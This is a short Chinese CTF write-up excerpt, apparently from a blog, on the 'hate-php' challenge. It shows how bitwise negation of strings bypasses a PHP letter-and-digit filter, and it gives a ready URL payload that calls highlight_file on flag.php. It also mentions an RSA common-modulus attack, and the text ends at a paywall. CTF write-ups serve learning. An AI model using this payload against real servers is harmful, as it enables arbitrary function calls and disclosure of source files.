本文探讨了如何通过取反方法绕过PHP中对字母和数字的过滤策略，以及利用在线PHP运行环境进行打印目录操作。同时，文章提及了在ROSBCrypto中遇到的RSA共模攻击问题，分析了相关WP并尝试用Python3.8实现，但遇到了报错。
hate-php
取反绕过对字母和数字的过滤
<?php
echo urlencode(~'highlight_file'); //%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A
echo "\n";
echo urlencode(~'flag.php'); //%99%93%9E%98%D1%8F%97%8F
?>
/?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)(~%99%93%9E%98%D1%8F%97%8F)
另一种方法
参考
先echo urlencode(~'print_r'); 取反得到编码
地址栏输入的时候再次取反让服务器解析得到 print_r
最低0.47元/天 解锁文章
1649
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
